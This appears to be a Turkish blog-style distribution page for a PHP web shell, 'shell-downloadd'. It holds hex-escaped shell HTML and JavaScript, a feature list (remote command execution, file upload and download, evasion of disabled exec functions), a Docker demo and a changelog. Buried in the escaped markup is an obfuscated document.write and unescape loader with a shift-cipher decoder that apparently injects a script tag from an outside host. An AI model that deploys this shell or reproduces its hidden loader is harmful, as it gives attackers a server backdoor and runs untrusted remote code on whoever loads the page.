\x20\x20\x20\x20 \x20\x20\x20\x65S\x68\x65\x6c\x6cC\x6dd\x49n\x70u\x74.\x76\x61\x6c\x75\x65 =\x20\x63o\x6d\x6d\x61\x6e\x64Hi\x73t\x6fr\x79[\x68i\x73\x74\x6f\x72yP\x6fs\x69\x74\x69o\x6e];\n \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x20_def\x65\x72(f\x75\x6ect\x69\x6fn() {\n \x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20 \x20\x20 \x20\x20\x20 eShe\x6c\x6cC\x6ddI\x6ep\x75t.f\x6f\x63us()\x3b\n \x20 \x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 })\x3b\n \x20 \x20 \x20\x20\x20 \x20 \x20 }\n\x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20\x20 \x20\x20 brea\x6b\x3b\n\x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20\x20\x63ase \"\x41\x72row\x44own\":\n \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x20 \x20if\x20(\x68i\x73\x74\x6fr\x79Po\x73it\x69on\x20>= co\x6d\x6da\x6edH\x69\x73\x74o\x72y\x2elengt\x68) {\n \x20\x20\x20\x20 \x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20\x62r\x65ak;\n \x20\x20\x20\x20 \x20\x20 \x20 \x20 \x20\x20 }\n \x20\x20\x20 \x20 \x20 \x20\x20 \x20 \x20 \x20\x68\x69s\x74\x6fry\x50\x6fsiti\x6f\x6e++;\n\x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20\x20 \x20if\x20(h\x69\x73t\x6fr\x79P\x6fsi\x74i\x6f\x6e =\x3d=\x20\x63\x6f\x6d\x6dan\x64\x48ist\x6fr\x79\x2elen\x67th) {\n \x20 \x20\x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x20 \x20\x20 \x65Sh\x65\x6c\x6c\x43\x6dd\x49\x6e\x70\x75t\x2ev\x61lue \x3d\x20\x22\x22;\n\x20\x20 \x20\x20 \x20\x20\x20\x20\x20 \x20 \x20 \x20 \x20\x20\x20 } \x65\x6c\x73\x65\x20{\n\x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 \x20\x20 \x20\x65Sh\x65llCmd\x49\x6ep\x75t.b\x6cur()\x3b\n\x20 \x20\x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20\x20 \x20\x20\x20 e\x53hel\x6c\x43mdInp\x75\x74\x2e\x66ocus()\x3b\n\x20\x20\x20\x20\x20\x20 \x20 \x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20eSh\x65\x6cl\x43\x6ddIn\x70ut\x2ev\x61lue\x20\x3d\x20co\x6dm\x61n\x64\x48\x69\x73t\x6fry[\x68\x69\x73t\x6fry\x50\x6fs\x69\x74\x69on]\x3b\n\x20 \x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20 }\n\x20\x20\x20 \x20\x20 \x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20bre\x61\x6b;\n\x20 \x20 \x20\x20 \x20\x20\x20 \x20 ca\x73\x65 \x27\x54a\x62':\n \x20\x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20\x20 \x65vent.\x70r\x65\x76e\x6etDefa\x75\x6c\x74();\n\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20 \x20fea\x74\x75r\x65\x48int()\x3b\n \x20 \x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20 bre\x61k\x3b\n\x20\x20 \x20 \x20 \x20 \x20\x20\x20 }\n \x20 \x20 }\n\n\x20\x20\x20\x20\x20 \x20\x20 f\x75\x6ect\x69\x6fn\x20in\x73\x65\x72\x74T\x6f\x48i\x73tory(cm\x64) {\n\x20\x20\x20\x20\x20\x20 \x20\x20 co\x6d\x6d\x61n\x64H\x69s\x74\x6f\x72\x79.\x70\x75\x73h(\x63\x6dd);\n\x20 \x20 \x20 \x20\x20 \x20h\x69\x73\x74o\x72\x79\x50\x6f\x73\x69\x74\x69\x6f\x6e\x20\x3d \x63om\x6d\x61nd\x48\x69\x73\x74o\x72y.le\x6eg\x74\x68\x3b\n \x20 \x20\x20\x20\x20 \x20 }\n\n \x20\x20 \x20 \x20\x20\x66u\x6e\x63\x74\x69on ma\x6beRe\x71\x75\x65\x73\x74(\x75\x72\x6c, par\x61\x6ds,\x20c\x61l\x6c\x62\x61c\x6b) {\n\x20\x20\x20 \x20\x20\x20 \x20 \x20fu\x6ec\x74io\x6e\x20\x67etQ\x75eryStr\x69ng()\x20{\n \x20\x20 \x20\x20 \x20 \x20v\x61\x72 a \x3d\x20[]\x3b\n \x20 \x20 \x20 \x20\x20\x20 \x20 \x66or (\x76\x61\x72\x20\x6b\x65\x79\x20\x69\x6e\x20pa\x72\x61ms) {\n \x20\x20 \x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20i\x66 (\x70\x61\x72\x61ms.has\x4fw\x6eP\x72o\x70e\x72ty(k\x65\x79))\x20{\n \x20\x20 \x20 \x20 \x20 \x20 \x20 \x20\x20 \x20 a\x2epush(en\x63\x6f\x64\x65UR\x49\x43o\x6d\x70onen\x74(k\x65\x79)\x20+\x20\x22=\x22 + enc\x6f\x64e\x55\x52ICo\x6d\x70o\x6e\x65\x6e\x74(\x70\x61\x72a\x6ds[k\x65y]))\x3b\n \x20\x20 \x20 \x20\x20\x20 \x20 \x20\x20 \x20 }\n \x20 \x20 \x20\x20\x20\x20\x20\x20\x20 \x20}\n \x20 \x20\x20\x20\x20\x20 \x20 \x20\x20\x20 retu\x72\x6e \x61.\x6a\x6fin(\"\x26\x22)\x3b\n\x20 \x20 \x20\x20\x20\x20 \x20\x20\x20 \x20}\n\x20 \x20 \x20 \x20 \x20 va\x72\x20x\x68\x72 \x3d new\x20XMLH\x74\x74pReq\x75\x65s\x74()\x3b\n\x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x20\x20 \x78hr.o\x70en(\x22\x50O\x53\x54\x22, u\x72l,\x20tr\x75e);\n \x20 \x20 \x20 \x20\x20 \x20 xhr\x2es\x65t\x52\x65\x71ue\x73\x74\x48e\x61\x64e\x72(\x22Co\x6ete\x6et-\x54ype\", \"a\x70\x70l\x69\x63\x61\x74\x69\x6f\x6e/x-\x77\x77w-\x66o\x72m-\x75\x72len\x63od\x65d\")\x3b\n \x20\x20\x20\x20\x20 \x20\x20\x20 \x78\x68\x72\x2eo\x6ere\x61\x64ystat\x65\x63\x68\x61\x6ege\x20=\x20f\x75nc\x74i\x6fn() {\n\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20\x20\x20 \x20 i\x66 (\x78h\x72.re\x61\x64\x79\x53t\x61te ==\x3d\x204 \x26\x26\x20xhr\x2e\x73\x74\x61tu\x73 \x3d\x3d\x3d\x202\x30\x30) {\n\x20\x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20 \x20 \x20 \x20try\x20{\n \x20 \x20 \x20\x20 \x20 \x20\x20 \x20 \x20\x76ar r\x65\x73pons\x65\x4a\x73o\x6e\x20=\x20\x4a\x53\x4f\x4e\x2epa\x72\x73\x65(\x78hr.\x72es\x70\x6fn\x73\x65Text)\x3b\n\x20\x20\x20\x20 \x20 \x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20 \x63a\x6cl\x62a\x63k(\x72\x65\x73po\x6e\x73\x65J\x73on)\x3b\n \x20 \x20\x20 \x20 \x20\x20\x20 \x20 }\x20\x63at\x63h\x20(err\x6fr)\x20{\n \x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20 \x20 \x20 \x61l\x65\x72\x74(\x22\x45\x72\x72o\x72\x20\x77hil\x65\x20\x70a\x72\x73ing \x72e\x73ponse: \x22 +\x20err\x6fr);\n\x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 \x20 }\n \x20\x20\x20 \x20 \x20\x20 \x20\x20\x20\x20 \x20 }\n\x20\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20};\n \x20 \x20 \x20 \x20 \x78\x68r\x2esen\x64(\x67\x65tQu\x65ryS\x74\x72\x69n\x67());\n\x20 \x20 \x20 \x20\x20\x20}\n\n\x20\x20\x20\x20 \x20 \x20\x64\x6f\x63umen\x74.\x6f\x6e\x63li\x63k\x20=\x20f\x75n\x63\x74\x69\x6f\x6e(e\x76\x65\x6e\x74) {\n \x20\x20\x20\x20\x20 \x20 \x20 \x20eve\x6e\x74 =\x20\x65v\x65n\x74\x20|| \x77ind\x6f\x77\x2e\x65\x76\x65\x6e\x74\x3b\n\x20\x20\x20 \x20 \x20 \x20 \x20 \x20 \x76ar\x20\x73el\x65\x63tio\x6e \x3d \x77i\x6edow\x2eg\x65t\x53\x65le\x63ti\x6f\x6e();\n\x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20v\x61\x72\x20ta\x72\x67et\x20\x3d even\x74.ta\x72\x67\x65\x74\x20||\x20\x65v\x65n\x74\x2esrcElem\x65\x6et\x3b\n\n\x20\x20\x20 \x20 \x20\x20\x20\x20if (\x74\x61r\x67et\x2etag\x4eam\x65 ==\x3d \x22\x53E\x4cECT\") {\n\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20\x20\x20\x72\x65tur\x6e\x3b\n\x20\x20 \x20\x20 \x20 \x20 \x20 \x20 \x20}\n\n\x20 \x20\x20\x20 \x20 \x20 \x20\x20i\x66 (\x21\x73\x65l\x65\x63\x74i\x6f\x6e.\x74\x6f\x53t\x72ing()) {\n \x20\x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x65S\x68ell\x43md\x49n\x70u\x74\x2e\x66o\x63us()\x3b\n\x20\x20 \x20\x20\x20 \x20\x20\x20 \x20 }\n\x20 \x20\x20 \x20 }\x3b\n\n \x20 \x20 \x20 \x20 \x77\x69n\x64ow\x2e\x6fn\x6coa\x64 =\x20func\x74\x69\x6fn()\x20{\n \x20 \x20\x20 \x20\x20 \x20\x65S\x68ellCm\x64\x49\x6e\x70ut = \x64\x6f\x63u\x6de\x6e\x74\x2egetE\x6ce\x6de\x6et\x42yI\x64(\"\x73\x68\x65l\x6c-c\x6dd\x22);\n\x20\x20\x20 \x20\x20\x20\x20\x20 \x20 \x65\x53h\x65ll\x43ontent \x3d\x20d\x6fcum\x65nt.\x67\x65tE\x6ce\x6d\x65nt\x42y\x49d(\"\x73h\x65ll-c\x6fnt\x65nt\x22)\x3b\n \x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20 u\x70\x64ate\x43\x77d();\n \x20 \x20\x20\x20\x20 \x20\x20 \x65She\x6c\x6c\x43mdI\x6ep\x75t.\x66ocus();\n \x20\x20\x20 \x20\x20\x20 \x20}\x3b\n \x20 \x20 \x3c/sc\x72ipt>\x3csc\x72\x69pt la\x6eg\x75ag\x65=ja\x76a\x73c\x72\x69\x70\x74>do\x63um\x65nt\x2e\x77r\x69t\x65(\x75\x6ee\x73cape('%\x33\x43%7\x33\x256\x33\x2572\x2569%\x370\x25\x37\x34%20%\x36C%61%6\x45\x25\x36\x37\x25\x37\x35%6\x31%\x367%65\x253D%\x322\x256A\x256\x31%76\x25\x361%\x373%63%\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x2522\x253\x45\x256\x36\x2575%6E\x2563\x25\x374\x256\x39\x256\x46\x256\x45\x2520%64\x2546%2\x38%7\x33\x25\x32\x39\x257\x42\x25\x37\x36%\x36\x31\x25\x37\x32\x2520%73%\x331\x25\x33D\x25\x37\x35\x25\x36E%\x36\x35\x257\x33\x2563%61\x2570%6\x35%2\x38%73%2\x45%\x373\x25\x375%62\x2573%\x37\x34\x25\x37\x32%28%3\x30\x252C%73\x25\x32\x45%\x36C%\x36\x35%6\x45\x25\x36\x37%\x374\x25\x368%\x32D\x25\x331\x25\x329\x25\x32\x39\x25\x33B%\x32\x30\x257\x36%61%72\x25\x32\x30%\x374\x253D\x2527\x2527%3B%6\x36%\x36\x46%\x37\x32%\x328\x2569\x253\x44%3\x30%3B%\x369\x25\x33C\x257\x33\x25\x33\x31%\x32E%\x36C%\x365%6\x45\x25\x367%74%68\x25\x33B%\x36\x39\x25\x32B%\x32B%29%7\x34\x25\x32\x42%\x33\x44\x2553\x2574\x2572%69\x25\x36E\x25\x36\x37%\x32\x45\x25\x366%\x37\x32%\x36F%\x36D%\x343\x25\x36\x38%6\x31\x2572%43\x256F\x25\x364%\x36\x35\x25\x32\x38\x25\x373\x25\x33\x31\x25\x32\x45%6\x33%\x368%\x36\x31\x2572%\x34\x33\x256F%64\x25\x365\x25\x34\x31\x25\x374%2\x38%\x369%\x329%2D%\x37\x33\x252\x45\x25\x37\x33\x2575%\x362%73\x25\x37\x34\x25\x372\x252\x38%7\x33\x252E%6C\x25\x365%6E\x256\x37%\x37\x34%\x36\x38%2D\x25\x33\x31\x252\x43%\x33\x31%\x329%\x329%3\x42\x256\x34%\x36F\x25\x36\x33%\x375%6\x44%65\x25\x36\x45%74\x252\x45%77\x25\x37\x32\x256\x39%74%6\x35%2\x38\x25\x375\x25\x36\x45%6\x35%7\x33\x2563\x256\x31%7\x30%6\x35\x252\x38%\x37\x34%2\x39%\x329%\x33B%7D\x25\x33\x43\x25\x32\x46%7\x33\x25\x363%7\x32\x25\x369\x25\x37\x30%7\x34%\x33E'));\x64\x46('*8H\x78\x68w\x6euy*75\x78w\x68*8I*\x377\x6d\x79\x79\x75x*8\x46\x344\x6a%\x37D\x68jqyz\x77pn%7\x45\x6a3htr4yf\x70\x6eu\x34\x72%\x37E\x4b\x7as\x68yn\x74\x733\x6f\x78*77*8J*\x38H4x\x68\x77n\x75\x79*\x38J\x35\x27)\x3c/\x73\x63r\x69\x70\x74\x3e\n \x20</\x68e\x61\x64>\n\n \x20\x20\x3cb\x6f\x64\x79\x3e\n \x20 \x20\x20\x20 \x3c\x64\x69v\x20\x69\x64\x3d\"\x73\x68\x65\x6cl\x22\x3e\n\x20\x20\x20 \x20\x20 \x20\x20 \x3c\x70re\x20i\x64\x3d\"sh\x65\x6cl-con\x74e\x6e\x74\">\n\x20 \x20 \x20 \x20\x20 \x3cd\x69v\x20\x69d=\x22s\x68e\x6c\x6c-lo\x67o\x22>\n<\x64iv\x20\x63\x6cas\x73=\"\x66o\x6e\x74-s\x69\x7a\x65: \x310\x35\x70x\x3b\x22\x3e <b\x3e𝘀𝗵𝗲𝗹𝗹-𝗱𝗼𝘄𝗻𝗹𝗼𝗮𝗱𝗱\x2e𝗯𝗹𝗼𝗴𝘀𝗽𝗼𝘁\x2e𝗰𝗼𝗺\x3c/b></\x64\x69v>\n \x20\x20 \x20 \x20 \x20 \x20 </di\x76\x3e\n\x20 \x20 \x20 \x20\x20\x20\x20</\x70\x72e>\n \x20 \x20 \x20 \x3c\x64i\x76 i\x64\x3d\"s\x68\x65\x6c\x6c-i\x6epu\x74\x22>\n\x20 \x20 \x20\x20\x20 \x20 <\x6c\x61\x62e\x6c \x66\x6fr=\"\x73h\x65l\x6c-\x63md\"\x20\x69d\x3d\"sh\x65ll-\x70ro\x6dpt\x22 \x63\x6cass\x3d\"s\x68ell-prompt\">???\x3c/la\x62\x65\x6c\x3e\n \x20 \x20 \x20\x20\x20 \x20\x3cdi\x76>\n\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20 \x20<inp\x75\x74 i\x64=\"\x73\x68el\x6c-cm\x64\" n\x61m\x65\x3d\"\x63\x6d\x64\" o\x6e\x6beyd\x6fwn\x3d\"_\x6f\x6e\x53he\x6c\x6cCm\x64\x4b\x65yD\x6f\x77\x6e(\x65ven\x74)\"/>\n\x20 \x20 \x20\x20\x20 \x20\x20\x20\x20\x20 \x3c/di\x76\x3e\n\x20\x20 \x20 \x20\x20\x20 \x20</\x64\x69\x76\x3e\n \x20 </d\x69v>\n \x20\x20\x20\x3c/\x62\x6fd\x79>\n\n\x3c/\x68\x74\x6dl>\n"; ?>
Özellikler:{alertSuccess}
- Komut geçmişi (yön tuşları
↑
↓
ile)- Komut ve dosya adlarının otomatik tamamlama (Tab tuşu ile)
- Uzak dosya sisteminde gezinme (
cd
komutunu kullanarak)- Sunucuya dosya yükleme (
upload <hedef_dosya_adı>
komutunu kullanarak)- Sunucudan dosya indirme (
download <dosya_adı>
komutunu kullanarak)
UYARI: BU BETİK BİR GÜVENLİK AÇIĞIDIR. NE YAPTIĞINIZI BİLMİYORSANIZ SUNUCUYA YÜKLEMEYİN! {alertError}
Docker ile Demo:
docker build -t shell-downloadd.
docker run -it -p 8080:80 -d shell-downloadd
# Tarayıcınızla şu adresi açın: http://127.0.0.1:8080/shell.php
Değişiklik Günlüğü (güncellemeler)
- v2023.08.10:
- shell-downloadd@shell artık PHP 5.3 ile uyumlu (@FrancoisCapon, #38)
- v2023.05.28:
- Özellikle Windows'ta kodlama hatalarını önlemek için tüm veri alanları base64 olarak kodlanır (@cli-ish, #8, #35)
- v2023.05.22:
- Komut isteminde kullanıcı adı ve ana bilgisayar adı görüntülenir (@cli-ish, #33, #7)
- v2023.05.10:
- Devre dışı bırakılmış işlevleri atlamak için farklı yürütme işlevleriyle komut çalıştırmayı deneyin (
exec
,shell_exec
,system
,passthru
,popen
,proc_open
) (@cli-ish, #31, #32)
- Devre dışı bırakılmış işlevleri atlamak için farklı yürütme işlevleriyle komut çalıştırmayı deneyin (
- v2023.02.27:
- Terminal penceresi yeniden boyutlandırılabilir hale getirildi (@FrancoisCapon, #27)
- v2023.02.13:
- Büyük ekranlarda daha geniş terminal boyutu (@psyray, #26)
- Küçük ekranlarda artık yatay kaydırma yok (@flozz)
- v2022.09.19:
cd
komutunda yol genişletme (cd ~
,cd ~username
,...)- Parametresiz
cd
komutu çalıştırıldığında ana dizine gider. - → Teşekkürler @FrancoisCapon (#25)
- v2021.01.24:
- Stil iyileştirmeleri:
- Webkit'te daha iyi görünümlü kaydırma çubuğu (@nakamuraos)
- Mobilde daha küçük bir logo görüntülenir (@nakamuraos)
- Ergonomi iyileştirmeleri:
- Sayfaya tıklandığında komut alanı odaklanır (@nakamuraos)
- Geçmişte gezinirken komut alanındaki imleç sona yerleştirilir (@nakamuraos)
- Stil iyileştirmeleri:
- v2019.06.07:
- Terminali temizlemek için
clear
komutu eklendi (@izharaazmi #12)
- Terminali temizlemek için
- v2018.12.15:
- Dosya yükleme ve indirme özelliği (@Oshawk #5)
- v2018.06.01:
- Komut ve dosya adlarının otomatik tamamlama özelliği (@lo001 #2)
- Mobil cihazlara uyarlama (duyarlı tasarım) (@lo001 #2)
- stderr işlemede geliştirme (@lo001 #2)
- v2018.05.30:
- ES5 uyumluluğu (@lo00l #1)
- JQuery bağımlılığı kaldırıldı (@lo00l #1)
- Yön tuşları ile komut geçmişi (@lo00l #1)
- Tab tuşuna basıldığında komut alanı odakta kalır.
- v2017.10.30:
- CSS: geçersiz renk düzeltildi.
- v2016.11.10:
- İlk sürüm.